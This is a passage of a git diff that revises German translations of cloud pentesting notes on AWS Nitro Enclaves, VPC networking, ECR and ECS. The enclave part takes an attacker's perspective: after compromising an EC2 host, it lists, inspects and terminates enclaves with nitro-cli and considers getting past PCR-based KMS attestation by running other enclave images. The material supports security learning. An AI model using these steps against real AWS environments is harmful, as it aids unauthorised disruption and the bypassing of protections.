apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -73,7 +73,7 @@ nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-m ``` ### Enklaven auflisten -Wenn Sie einen EC2-Host kompromittieren, ist es möglich, eine Liste der laufenden Enklavenbilder mit: zu erhalten +Wenn Sie einen EC2-Host kompromittieren, ist es möglich, eine Liste der laufenden Enklaven-Images mit: zu erhalten ```bash nitro-cli describe-enclaves ``` @@ -84,7 +84,7 @@ nitro-cli console --enclave-id ${ENCLAVE_ID} ``` ### Enklaven beenden -Wenn ein Angreifer eine EC2-Instanz kompromittiert, kann er standardmäßig nicht auf eine Shell innerhalb dieser zugreifen, aber er wird in der Lage sein, sie **zu beenden** mit: +Wenn ein Angreifer eine EC2-Instanz kompromittiert, kann er standardmäßig nicht auf eine Shell innerhalb dieser zugreifen, aber er wird in der Lage sein, sie mit **beenden** zu: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` @@ -92,10 +92,10 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} Der einzige Weg, um mit einem **enclave** laufenden Image zu kommunizieren, ist die Verwendung von **vsocks**. -**Virtual Socket (vsock)** ist eine Socket-Familie in Linux, die speziell entwickelt wurde, um die **Kommunikation** zwischen virtuellen Maschinen (**VMs**) und ihren **Hypervisoren** oder zwischen VMs **untereinander** zu erleichtern. Vsock ermöglicht eine effiziente, **bidirektionale Kommunikation**, ohne auf den Netzwerk-Stack des Hosts angewiesen zu sein. Dies ermöglicht es VMs, auch ohne Netzwerkkonfigurationen zu kommunizieren, **indem sie eine 32-Bit Context ID (CID) und Portnummern** verwenden, um Verbindungen zu identifizieren und zu verwalten. Die vsock-API unterstützt sowohl Stream- als auch Datagram-Socket-Typen, ähnlich wie TCP und UDP, und bietet ein vielseitiges Werkzeug für Anwendungen auf Benutzerebene in virtuellen Umgebungen. +**Virtual Socket (vsock)** ist eine Socket-Familie in Linux, die speziell entwickelt wurde, um die **Kommunikation** zwischen virtuellen Maschinen (**VMs**) und ihren **Hypervisoren** oder zwischen VMs **untereinander** zu erleichtern. Vsock ermöglicht eine effiziente, **bidirektionale Kommunikation**, ohne auf den Netzwerk-Stack des Hosts angewiesen zu sein. Dies ermöglicht es VMs, auch ohne Netzwerkkonfigurationen zu kommunizieren, **indem sie eine 32-Bit Context ID (CID) und Portnummern** verwenden, um Verbindungen zu identifizieren und zu verwalten. Die vsock API unterstützt sowohl Stream- als auch Datagram-Socket-Typen, ähnlich wie TCP und UDP, und bietet ein vielseitiges Werkzeug für Anwendungen auf Benutzerebene in virtuellen Umgebungen. > [!TIP] -> Daher sieht eine vsock-Adresse so aus: `:` +> Daher sieht eine vsock-Adresse folgendermaßen aus: `:` Um die **CIDs** der laufenden Enclave-Images zu finden, können Sie einfach den folgenden Befehl ausführen und die **`EnclaveCID`** abrufen: @@ -216,22 +216,22 @@ v_str LISTEN 0 0 Das Nitro Enclaves SDK ermöglicht es einer Enklave, ein **kryptografisch signiertes Attestierungsdokument** vom Nitro **Hypervisor** anzufordern, das **einzigartige Messwerte** enthält, die spezifisch für diese Enklave sind. Diese Messwerte, die **Hashes und Plattformkonfigurationsregister (PCRs)** umfassen, werden während des Attestierungsprozesses verwendet, um **die Identität der Enklave zu beweisen** und **Vertrauen zu externen Diensten aufzubauen**. Das Attestierungsdokument enthält typischerweise Werte wie PCR0, PCR1 und PCR2, die Sie bereits beim Erstellen und Speichern einer Enklave EIF getroffen haben. -Laut den [**Docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) sind dies die PCR-Werte: +Laut den [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) sind dies die PCR-Werte: -
PCRHash von ...Beschreibung
PCR0Enklaven-Image-DateiEine zusammenhängende Messung des Inhalts der Image-Datei, ohne die Abschnittsdaten.
PCR1Linux-Kernel und BootstrapEine zusammenhängende Messung der Kernel- und Boot-Ramfs-Daten.
PCR2AnwendungEine zusammenhängende, in der richtigen Reihenfolge gemessene Messung der Benutzeranwendungen, ohne das Boot-Ramfs.
PCR3IAM-Rolle, die der übergeordneten Instanz zugewiesen istEine zusammenhängende Messung der IAM-Rolle, die der übergeordneten Instanz zugewiesen ist. Stellt sicher, dass der Attestierungsprozess nur dann erfolgreich ist, wenn die übergeordnete Instanz die richtige IAM-Rolle hat.
PCR4Instanz-ID der übergeordneten InstanzEine zusammenhängende Messung der ID der übergeordneten Instanz. Stellt sicher, dass der Attestierungsprozess nur dann erfolgreich ist, wenn die übergeordnete Instanz eine spezifische Instanz-ID hat.
PCR8Signaturzertifikat der Enklaven-Image-DateiEine Messung des Signaturzertifikats, das für die Enklaven-Image-Datei angegeben ist. Stellt sicher, dass der Attestierungsprozess nur dann erfolgreich ist, wenn die Enklave von einer Enklaven-Image-Datei gestartet wurde, die von einem bestimmten Zertifikat signiert wurde.
+
PCRHash von ...Beschreibung
PCR0Enklaven-Image-DateiEine zusammenhängende Messung des Inhalts der Image-Datei, ohne die Abschnittsdaten.
PCR1Linux-Kernel und BootstrapEine zusammenhängende Messung der Kernel- und Boot-Ramfs-Daten.
PCR2AnwendungEine zusammenhängende, in der richtigen Reihenfolge gemessene Messung der Benutzeranwendungen, ohne das Boot-Ramfs.
PCR3IAM-Rolle, die der übergeordneten Instanz zugewiesen istEine zusammenhängende Messung der IAM-Rolle, die der übergeordneten Instanz zugewiesen ist. Stellt sicher, dass der Attestierungsprozess nur erfolgreich ist, wenn die übergeordnete Instanz die richtige IAM-Rolle hat.
PCR4Instanz-ID der übergeordneten InstanzEine zusammenhängende Messung der ID der übergeordneten Instanz. Stellt sicher, dass der Attestierungsprozess nur erfolgreich ist, wenn die übergeordnete Instanz eine spezifische Instanz-ID hat.
PCR8Signaturzertifikat der Enklaven-Image-DateiEine Messung des Signaturzertifikats, das für die Enklaven-Image-Datei angegeben ist. Stellt sicher, dass der Attestierungsprozess nur erfolgreich ist, wenn die Enklave von einer Enklaven-Image-Datei gestartet wurde, die von einem bestimmten Zertifikat signiert wurde.
-Sie können **kryptografische Attestierung** in Ihre Anwendungen integrieren und vorgefertigte Integrationen mit Diensten wie **AWS KMS** nutzen. AWS KMS kann **Enklavenattestierungen validieren** und bietet attestierungsbasierte Bedingungsschlüssel (`kms:RecipientAttestation:ImageSha384` und `kms:RecipientAttestation:PCR`) in seinen Schlüsselrichtlinien an. Diese Richtlinien stellen sicher, dass AWS KMS Operationen mit dem KMS-Schlüssel **nur dann zulässt, wenn das Attestierungsdokument der Enklave gültig ist** und die **festgelegten Bedingungen** erfüllt. +Sie können **kryptografische Attestierung** in Ihre Anwendungen integrieren und vorgefertigte Integrationen mit Diensten wie **AWS KMS** nutzen. AWS KMS kann **Enklavenattestierungen validieren** und bietet attestierungsbasierte Bedingungsschlüssel (`kms:RecipientAttestation:ImageSha384` und `kms:RecipientAttestation:PCR`) in seinen Schlüsselrichtlinien an. Diese Richtlinien stellen sicher, dass AWS KMS Operationen mit dem KMS-Schlüssel **nur dann erlaubt**, wenn das Attestierungsdokument der Enklave gültig ist und die **festgelegten Bedingungen** erfüllt. > [!TIP] > Beachten Sie, dass Enklaven im Debug-Modus (--debug) Attestierungsdokumente mit PCRs generieren, die aus Nullen bestehen (`000000000000000000000000000000000000000000000000`). Daher werden KMS-Richtlinien, die diese Werte überprüfen, fehlschlagen. -### PCR-Bypass +### PCR Umgehung Aus der Perspektive eines Angreifers ist zu beachten, dass einige PCRs es ermöglichen würden, Teile oder das gesamte Enklaven-Image zu modifizieren und dennoch gültig zu bleiben (zum Beispiel überprüft PCR4 nur die ID der übergeordneten Instanz, sodass das Ausführen eines beliebigen Enklaven-Images in dieser EC2 diese potenzielle PCR-Anforderung erfüllen würde). Daher könnte ein Angreifer, der die EC2-Instanz kompromittiert, in der Lage sein, andere Enklaven-Images auszuführen, um diese Schutzmaßnahmen zu umgehen. -Die Forschung darüber, wie man neue Images modifizieren/erstellen kann, um jeden Schutz (insbesondere die nicht so offensichtlichen) zu umgehen, steht noch aus. +Die Forschung darüber, wie man neue Images modifizieren/erstellen kann, um jede Schutzmaßnahme zu umgehen (insbesondere die nicht so offensichtlichen), steht noch aus. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 412bcb49d..e3688d53d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -2,13 +2,13 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS Networking in Kürze -Ein **VPC** enthält ein **Netzwerk CIDR** wie 10.0.0.0/16 (mit seiner **Routing-Tabelle** und **Netzwerk-ACL**). +Ein **VPC** enthält einen **Netzwerk-CIDR** wie 10.0.0.0/16 (mit seiner **Routing-Tabelle** und **Netzwerk-ACL**). Dieses VPC-Netzwerk ist in **Subnetze** unterteilt, sodass ein **Subnetz** direkt mit dem **VPC**, der **Routing-Tabelle** und der **Netzwerk-ACL** **verbunden** ist. -Dann sind **Netzwerkschnittstellen**, die an Dienste (wie EC2-Instanzen) angeschlossen sind, mit den **Subnetzen** über **Sicherheitsgruppe(n)** **verbunden**. +Dann sind **Netzwerkschnittstellen**, die an Dienste (wie EC2-Instanzen) angeschlossen sind, mit den **Subnetzen** über **Sicherheitsgruppen** **verbunden**. Daher wird eine **Sicherheitsgruppe** die exponierten Ports der Netzwerk **schnittstellen, die sie verwenden**, **unabhängig vom Subnetz** einschränken. Und eine **Netzwerk-ACL** wird die exponierten Ports für das **gesamte Netzwerk** **einschränken**. @@ -17,9 +17,9 @@ Darüber hinaus gibt es einige interessante Konfigurationen zu überprüfen, um - Ein **Subnetz** kann **automatisch öffentliche IPv4-Adressen zuweisen** - Eine **Instanz**, die im Netzwerk erstellt wird, das **automatisch IPv4-Adressen zuweist, kann eine erhalten** - Ein **Internet-Gateway** muss an das **VPC** **angeschlossen** werden -- Sie könnten auch **Egress-only Internet-Gateways** verwenden -- Sie könnten auch ein **NAT-Gateway** in einem **privaten Subnetz** haben, sodass es möglich ist, **von diesem privaten Subnetz aus auf externe Dienste zuzugreifen**, aber es ist **nicht möglich, sie von außen zu erreichen**. -- Das NAT-Gateway kann **öffentlich** (Zugriff auf das Internet) oder **privat** (Zugriff auf andere VPCs) sein. +- Sie könnten auch **Egress-only-Internet-Gateways** verwenden +- Sie könnten auch ein **NAT-Gateway** in einem **privaten Subnetz** haben, sodass es möglich ist, **eine Verbindung zu externen Diensten** von diesem privaten Subnetz herzustellen, aber es ist **nicht möglich, sie von außen zu erreichen**. +- Das NAT-Gateway kann **öffentlich** (Zugriff auf das Internet) oder **privat** (Zugriff auf andere VPCs) sein ![](<../../../../images/image (274).png>) @@ -33,7 +33,7 @@ Subnetze helfen, ein höheres Maß an Sicherheit durchzusetzen. **Logische Grupp - Gültige CIDR sind von einer /16-Netzmaske bis zu einer /28-Netzmaske. - Ein Subnetz kann nicht gleichzeitig in verschiedenen Verfügbarkeitszonen sein. -- **AWS reserviert die ersten drei Host-IP-Adressen** jedes Subnetzes **für** **interne AWS-Nutzung**: Die erste Hostadresse wird für den VPC-Router verwendet. Die zweite Adresse ist für AWS DNS reserviert und die dritte Adresse ist für zukünftige Nutzung reserviert. +- **AWS reserviert die ersten drei Host-IP-Adressen** jedes Subnetzes **für** **interne AWS-Nutzung**: Die erste Hostadresse wird für den VPC-Router verwendet. Die zweite Adresse ist für AWS DNS reserviert und die dritte Adresse ist für zukünftige Verwendung reserviert. - Es wird als **öffentliche Subnetze** bezeichnet, die **direkten Zugang zum Internet haben, während private Subnetze dies nicht tun.**
@@ -46,11 +46,11 @@ Routing-Tabellen bestimmen die Verkehrslenkung für ein Subnetz innerhalb eines - Lokales VPC - NAT -- Internet-Gateways / Egress-only Internet-Gateways (benötigt, um einem VPC Zugriff auf das Internet zu geben). -- Um ein Subnetz öffentlich zu machen, müssen Sie ein **Internet-Gateway** **erstellen** und **an Ihr VPC anhängen**. -- VPC-Endpunkte (um von privaten Netzwerken auf S3 zuzugreifen) +- Internet-Gateways / Egress-only-Internet-Gateways (notwendig, um einem VPC Zugriff auf das Internet zu geben). +- Um ein Subnetz öffentlich zu machen, müssen Sie ein **Internet-Gateway** **erstellen** und an Ihr VPC **anhängen**. +- VPC-Endpunkte (um auf S3 von privaten Netzwerken zuzugreifen) -In den folgenden Bildern können Sie die Unterschiede zwischen einem standardmäßigen öffentlichen Netzwerk und einem privaten überprüfen: +In den folgenden Bildern können Sie die Unterschiede in einem standardmäßigen öffentlichen Netzwerk und einem privaten Netzwerk überprüfen:
@@ -61,7 +61,7 @@ In den folgenden Bildern können Sie die Unterschiede zwischen einem standardmä **Netzwerkzugriffskontrolllisten (ACLs)**: Netzwerk-ACLs sind Firewall-Regeln, die den eingehenden und ausgehenden Netzwerkverkehr zu einem Subnetz steuern. Sie können verwendet werden, um den Verkehr zu bestimmten IP-Adressen oder -Bereichen zuzulassen oder abzulehnen. - Es ist am häufigsten, den Zugriff über Sicherheitsgruppen zuzulassen/zu verweigern, aber dies ist der einzige Weg, um bereits etablierte Reverse-Shells vollständig zu unterbrechen. Eine geänderte Regel in einer Sicherheitsgruppe stoppt keine bereits etablierten Verbindungen. -- Dies gilt jedoch für das gesamte Subnetz, seien Sie vorsichtig, wenn Sie Dinge verbieten, da benötigte Funktionen gestört werden könnten. +- Dies gilt jedoch für das gesamte Subnetz, seien Sie vorsichtig, wenn Sie Dinge verbieten, da die benötigte Funktionalität gestört werden könnte. ### Sicherheitsgruppen @@ -72,7 +72,7 @@ Normalerweise wird dies verwendet, um gefährliche Ports in Instanzen zu öffnen ### Elastische IP-Adressen -Eine _Elastische IP-Adresse_ ist eine **statische IPv4-Adresse**, die für dynamisches Cloud-Computing konzipiert ist. Eine elastische IP-Adresse wird Ihrem AWS-Konto zugewiesen und gehört Ihnen, bis Sie sie freigeben. Durch die Verwendung einer elastischen IP-Adresse können Sie den Ausfall einer Instanz oder Software maskieren, indem Sie die Adresse schnell auf eine andere Instanz in Ihrem Konto umschalten. +Eine _Elastische IP-Adresse_ ist eine **statische IPv4-Adresse**, die für dynamisches Cloud-Computing konzipiert ist. Eine elastische IP-Adresse wird Ihrem AWS-Konto zugewiesen und gehört Ihnen, bis Sie sie freigeben. Durch die Verwendung einer elastischen IP-Adresse können Sie den Ausfall einer Instanz oder Software maskieren, indem Sie die Adresse schnell auf eine andere Instanz in Ihrem Konto umleiten. ### Verbindung zwischen Subnetzen @@ -84,29 +84,29 @@ Wenn Sie **ein Subnetz mit einem anderen Subnetz verbinden, können Sie nicht au ### VPC Peering -VPC-Peering ermöglicht es Ihnen, **zwei oder mehr VPCs miteinander zu verbinden**, indem Sie IPV4 oder IPV6 verwenden, als ob sie Teil desselben Netzwerks wären. +VPC-Peering ermöglicht es Ihnen, **zwei oder mehr VPCs miteinander zu verbinden**, unter Verwendung von IPV4 oder IPV6, als ob sie Teil desselben Netzwerks wären. -Sobald die Peer-Verbindung hergestellt ist, können **Ressourcen in einer VPC auf Ressourcen in der anderen zugreifen**. Die Konnektivität zwischen den VPCs wird über die bestehende AWS-Netzwerkinfrastruktur implementiert, und ist daher hochverfügbar ohne Bandbreitenengpass. Da **gepeerte Verbindungen so funktionieren, als wären sie Teil desselben Netzwerks**, gibt es Einschränkungen hinsichtlich der CIDR-Blockbereiche, die verwendet werden können.\ -Wenn Sie **überlappende oder doppelte CIDR**-Bereiche für Ihre VPC haben, dann **können Sie die VPCs nicht miteinander peeren**.\ +Sobald die Peer-Verbindung hergestellt ist, können **Ressourcen in einem VPC auf Ressourcen im anderen zugreifen**. Die Konnektivität zwischen den VPCs wird über die bestehende AWS-Netzwerkinfrastruktur implementiert, und ist daher hochverfügbar ohne Bandbreitenengpass. Da **gepeerte Verbindungen so funktionieren, als wären sie Teil desselben Netzwerks**, gibt es Einschränkungen hinsichtlich der CIDR-Blockbereiche, die verwendet werden können.\ +Wenn Sie **überlappende oder doppelte CIDR**-Bereiche für Ihr VPC haben, dann **können Sie die VPCs nicht miteinander peeren**.\ Jede AWS VPC wird **nur mit ihrem Peer kommunizieren**. Zum Beispiel, wenn Sie eine Peering-Verbindung zwischen VPC 1 und VPC 2 haben und eine andere Verbindung zwischen VPC 2 und VPC 3, wie gezeigt, dann könnten VPC 1 und 2 direkt miteinander kommunizieren, ebenso wie VPC 2 und VPC 3, jedoch könnten VPC 1 und VPC 3 nicht. **Sie können nicht durch eine VPC routen, um zu einer anderen zu gelangen.** ### **VPC Flow Logs** -Innerhalb Ihres VPC könnten Sie potenziell Hunderte oder sogar Tausende von Ressourcen haben, die alle zwischen verschiedenen Subnetzen, sowohl öffentlichen als auch privaten, und auch zwischen verschiedenen VPCs über VPC-Peering-Verbindungen kommunizieren. **VPC Flow Logs ermöglichen es Ihnen, IP-Verkehrsinformationen zu erfassen, die zwischen den Netzwerkschnittstellen Ihrer Ressourcen innerhalb Ihres VPC fließen**. +Innerhalb Ihres VPC könnten Sie potenziell Hunderte oder sogar Tausende von Ressourcen haben, die zwischen verschiedenen Subnetzen sowohl öffentlich als auch privat kommunizieren und auch zwischen verschiedenen VPCs über VPC-Peering-Verbindungen. **VPC Flow Logs ermöglichen es Ihnen, IP-Verkehrsinformationen zu erfassen, die zwischen den Netzwerkschnittstellen Ihrer Ressourcen innerhalb Ihres VPC fließen.** Im Gegensatz zu S3-Zugriffsprotokollen und CloudFront-Zugriffsprotokollen werden die **Protokolldaten, die von VPC Flow Logs generiert werden, nicht in S3 gespeichert. Stattdessen werden die erfassten Protokolldaten an CloudWatch-Protokolle gesendet**. Einschränkungen: -- Wenn Sie eine VPC-Peering-Verbindung betreiben, können Sie nur die Flow-Logs von gepeerter VPCs sehen, die sich im selben Konto befinden. -- Wenn Sie weiterhin Ressourcen in der EC2-Classic-Umgebung betreiben, können Sie leider keine Informationen von deren Schnittstellen abrufen. +- Wenn Sie eine VPC-Peering-Verbindung betreiben, können Sie nur die Flow-Logs der gepeerten VPCs sehen, die sich im selben Konto befinden. +- Wenn Sie weiterhin Ressourcen im EC2-Classic-Umfeld betreiben, können Sie leider keine Informationen von deren Schnittstellen abrufen. - Sobald ein VPC Flow Log erstellt wurde, kann es nicht mehr geändert werden. Um die Konfiguration des VPC Flow Logs zu ändern, müssen Sie es löschen und dann ein neues erstellen. - Der folgende Verkehr wird nicht überwacht und von den Protokollen erfasst. DHCP-Verkehr innerhalb des VPC, Verkehr von Instanzen, der für den Amazon DNS-Server bestimmt ist. - Jeglicher Verkehr, der an die IP-Adresse des VPC-Standardrouters gerichtet ist, und Verkehr zu und von den folgenden Adressen, 169.254.169.254, die zur Erfassung von Instanzmetadaten verwendet wird, und 169.254.169.123, die für den Amazon Time Sync Service verwendet wird. -- Verkehr, der sich auf eine Amazon Windows-Aktivierungslizenz von einer Windows-Instanz bezieht. -- Verkehr zwischen einer Netzwerk-Load-Balancer-Schnittstelle und einer Endpunkt-Netzwerkschnittstelle. +- Verkehr, der sich auf eine Amazon Windows-Aktivierungslizenz von einer Windows-Instanz bezieht +- Verkehr zwischen einer Netzwerk-Load-Balancer-Schnittstelle und einer Endpunkt-Netzwerkschnittstelle -Für jede Netzwerkschnittstelle, die Daten an die CloudWatch-Protokollgruppe veröffentlicht, wird ein anderer Protokollstream verwendet. Und innerhalb jedes dieser Streams gibt es die Flow-Log-Ereignisdaten, die den Inhalt der Protokolleinträge anzeigen. Jedes dieser **Protokolle erfasst Daten während eines Zeitfensters von etwa 10 bis 15 Minuten**. +Für jede Netzwerkschnittstelle, die Daten an die CloudWatch-Protokollgruppe veröffentlicht, wird ein anderer Protokollstream verwendet. Und innerhalb jedes dieser Streams gibt es die Flow-Log-Ereignisdaten, die den Inhalt der Protokolleinträge zeigen. Jedes dieser **Protokolle erfasst Daten während eines Zeitfensters von etwa 10 bis 15 Minuten**. ## VPN @@ -163,12 +163,12 @@ Darüber hinaus sollten Sie Folgendes berücksichtigen, wenn Sie Site-to-Site-VP #### Konzepte - **Client-VPN-Endpunkt:** Die Ressource, die Sie erstellen und konfigurieren, um Client-VPN-Sitzungen zu aktivieren und zu verwalten. Es ist die Ressource, an der alle Client-VPN-Sitzungen beendet werden. -- **Zielnetzwerk:** Ein Zielnetzwerk ist das Netzwerk, das Sie mit einem Client-VPN-Endpunkt verknüpfen. **Ein Subnetz aus einem VPC ist ein Zielnetzwerk**. Das Verknüpfen eines Subnetzes mit einem Client-VPN-Endpunkt ermöglicht es Ihnen, VPN-Sitzungen einzurichten. Sie können mehrere Subnetze mit einem Client-VPN-Endpunkt für hohe Verfügbarkeit verknüpfen. Alle Subnetze müssen aus demselben VPC stammen. Jedes Subnetz muss zu einer anderen Verfügbarkeitszone gehören. +- **Zielnetzwerk:** Ein Zielnetzwerk ist das Netzwerk, das Sie mit einem Client-VPN-Endpunkt verknüpfen. **Ein Subnetz aus einem VPC ist ein Zielnetzwerk**. Die Verknüpfung eines Subnetzes mit einem Client-VPN-Endpunkt ermöglicht es Ihnen, VPN-Sitzungen einzurichten. Sie können mehrere Subnetze mit einem Client-VPN-Endpunkt für hohe Verfügbarkeit verknüpfen. Alle Subnetze müssen aus demselben VPC stammen. Jedes Subnetz muss zu einer anderen Verfügbarkeitszone gehören. - **Route**: Jeder Client-VPN-Endpunkt hat eine Routing-Tabelle, die die verfügbaren Zielnetzwerk-Routen beschreibt. Jede Route in der Routing-Tabelle gibt den Pfad für den Verkehr zu bestimmten Ressourcen oder Netzwerken an. - **Autorisierungsregeln:** Eine Autorisierungsregel **beschränkt die Benutzer, die auf ein Netzwerk zugreifen können**. Für ein bestimmtes Netzwerk konfigurieren Sie die Active Directory- oder Identitätsanbieter (IdP)-Gruppe, die den Zugriff erhält. Nur Benutzer, die zu dieser Gruppe gehören, können auf das angegebene Netzwerk zugreifen. **Standardmäßig gibt es keine Autorisierungsregeln**, und Sie müssen Autorisierungsregeln konfigurieren, um Benutzern den Zugriff auf Ressourcen und Netzwerke zu ermöglichen. - **Client:** Der Endbenutzer, der sich mit dem Client-VPN-Endpunkt verbindet, um eine VPN-Sitzung einzurichten. Endbenutzer müssen einen OpenVPN-Client herunterladen und die von Ihnen erstellte Client-VPN-Konfigurationsdatei verwenden, um eine VPN-Sitzung einzurichten. - **Client-CIDR-Bereich:** Ein IP-Adressbereich, aus dem Client-IP-Adressen zugewiesen werden. Jeder Verbindung zum Client-VPN-Endpunkt wird eine eindeutige IP-Adresse aus dem Client-CIDR-Bereich zugewiesen. Sie wählen den Client-CIDR-Bereich, zum Beispiel `10.2.0.0/16`. -- **Client-VPN-Ports:** AWS Client-VPN unterstützt die Ports 443 und 1194 sowohl für TCP als auch für UDP. Der Standard ist Port 443. +- **Client-VPN-Ports:** AWS Client-VPN unterstützt die Ports 443 und 1194 sowohl für TCP als auch für UDP. Der Standardport ist 443. - **Client-VPN-Netzwerkschnittstellen:** Wenn Sie ein Subnetz mit Ihrem Client-VPN-Endpunkt verknüpfen, erstellen wir Client-VPN-Netzwerkschnittstellen in diesem Subnetz. **Der Verkehr, der vom Client-VPN-Endpunkt an das VPC gesendet wird, wird über eine Client-VPN-Netzwerkschnittstelle gesendet**. Die Quellnetzwerkadressübersetzung (SNAT) wird dann angewendet, wobei die Quell-IP-Adresse aus dem Client-CIDR-Bereich in die IP-Adresse der Client-VPN-Netzwerkschnittstelle übersetzt wird. - **Verbindungsprotokollierung:** Sie können die Verbindungsprotokollierung für Ihren Client-VPN-Endpunkt aktivieren, um Verbindungsereignisse zu protokollieren. Sie können diese Informationen verwenden, um forensische Analysen durchzuführen, zu analysieren, wie Ihr Client-VPN-Endpunkt verwendet wird, oder Verbindungsprobleme zu debuggen. - **Self-Service-Portal:** Sie können ein Self-Service-Portal für Ihren Client-VPN-Endpunkt aktivieren. Clients können sich mit ihren Anmeldeinformationen in das webbasierte Portal einloggen und die neueste Version der Client-VPN-Endpunkt-Konfigurationsdatei oder die neueste Version des von AWS bereitgestellten Clients herunterladen. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 75ea36a99..2c1570723 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -21,17 +21,17 @@ Jedes AWS-Konto hat 2 Registries: **Privat** & **Öffentlich**. - **Standardmäßig privat**: Die in einer Amazon ECR privaten Registry gespeicherten Container-Images sind **nur für autorisierte Benutzer** innerhalb Ihres AWS-Kontos oder für diejenigen zugänglich, denen Berechtigungen erteilt wurden. - Die URI eines **privaten Repositories** folgt dem Format `.dkr.ecr..amazonaws.com/` - **Zugriffskontrolle**: Sie können den **Zugriff** auf Ihre privaten Container-Images mithilfe von **IAM-Richtlinien** steuern, und Sie können feingranulare Berechtigungen basierend auf Benutzern oder Rollen konfigurieren. -- **Integration mit AWS-Diensten**: Amazon ECR private Registries können leicht **in andere AWS-Dienste** integriert werden, wie EKS, ECS... +- **Integration mit AWS-Diensten**: Amazon ECR private Registries können leicht mit anderen AWS-Diensten wie EKS, ECS... **integriert werden**. - **Weitere Optionen für private Registries**: -- Die Spalte zur Tag-Unveränderlichkeit listet ihren Status auf; wenn die Tag-Unveränderlichkeit aktiviert ist, wird sie **verhindern**, dass Image-**Pushes** mit **bereits vorhandenen Tags** die Images überschreiben. -- Die Spalte **Verschlüsselungstyp** listet die Verschlüsselungseigenschaften des Repositories auf, sie zeigt die Standardverschlüsselungstypen wie AES-256 oder hat **KMS** aktivierte Verschlüsselungen. -- Die Spalte **Pull through cache** listet ihren Status auf; wenn der Pull through cache-Status aktiv ist, werden **Repositories in ein externes öffentliches Repository in Ihr privates Repository** zwischengespeichert. +- Die Spalte zur Tag-Unveränderlichkeit listet ihren Status auf; wenn die Tag-Unveränderlichkeit aktiviert ist, wird sie **verhindern**, dass Images mit **bereits vorhandenen Tags** überschrieben werden. +- Die Spalte für den **Verschlüsselungstyp** listet die Verschlüsselungseigenschaften des Repositories auf; sie zeigt die Standardverschlüsselungstypen wie AES-256 oder hat **KMS** aktivierte Verschlüsselungen. +- Die Spalte für den **Pull-through-Cache** listet ihren Status auf; wenn der Pull-through-Cache-Status aktiv ist, werden **Repositories in einem externen öffentlichen Repository in Ihr privates Repository** zwischengespeichert. - Spezifische **IAM-Richtlinien** können konfiguriert werden, um unterschiedliche **Berechtigungen** zu gewähren. -- Die **Scan-Konfiguration** ermöglicht das Scannen nach Schwachstellen in den im Repo gespeicherten Images. +- Die **Scan-Konfiguration** ermöglicht das Scannen nach Schwachstellen in den im Repository gespeicherten Images. 2. **Öffentliche Registries**: -- **Öffentliche Zugänglichkeit**: Container-Images, die in einer ECR öffentlichen Registry gespeichert sind, sind **für jeden im Internet ohne Authentifizierung zugänglich.** +- **Öffentliche Zugänglichkeit**: Container-Images, die in einer ECR-Öffentlichen Registry gespeichert sind, sind **für jeden im Internet ohne Authentifizierung zugänglich.** - Die URI eines **öffentlichen Repositories** ist wie `public.ecr.aws//`. Obwohl der ``-Teil vom Administrator in eine andere, leichter zu merkende Zeichenfolge geändert werden kann. **Repositories** @@ -39,7 +39,7 @@ Jedes AWS-Konto hat 2 Registries: **Privat** & **Öffentlich**. Dies sind die **Images**, die in der **privaten Registry** oder in der **öffentlichen** gespeichert sind. > [!NOTE] -> Beachten Sie, dass der **ECR-Repository denselben Namen wie das Image haben muss**, um ein Image in ein Repository hochzuladen. +> Beachten Sie, dass das **ECR-Repository denselben Namen wie das Image haben muss**, um ein Image in ein Repository hochzuladen. #### Registry- & Repository-Richtlinien diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 187c4ada1..69d920351 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,20 +4,20 @@ ## ECS -### Grundinformationen +### Grundlegende Informationen Amazon **Elastic Container Services** oder ECS bietet eine Plattform, um **containerisierte Anwendungen in der Cloud zu hosten**. ECS hat zwei **Bereitstellungsmethoden**, **EC2** Instanztyp und eine **serverlose** Option, **Fargate**. Der Dienst **macht das Ausführen von Containern in der Cloud sehr einfach und schmerzfrei**. ECS funktioniert mit den folgenden drei Bausteinen: **Cluster**, **Dienste** und **Aufgabendefinitionen**. -- **Cluster** sind **Gruppen von Containern**, die in der Cloud ausgeführt werden. Wie bereits erwähnt, gibt es zwei Starttypen für Container, EC2 und Fargate. AWS definiert den **EC2** Starttyp als die Möglichkeit für Kunden, „ihre containerisierten Anwendungen auf einem Cluster von Amazon EC2-Instanzen, die sie **verwalten**, auszuführen“. **Fargate** ist ähnlich und wird definiert als „\[ermöglicht] Ihnen, Ihre containerisierten Anwendungen **ohne die Notwendigkeit, die Backend-Infrastruktur bereitzustellen und zu verwalten** auszuführen“. -- **Dienste** werden innerhalb eines Clusters erstellt und sind verantwortlich für **das Ausführen der Aufgaben**. Innerhalb einer Dienstdefinition **definieren Sie die Anzahl der 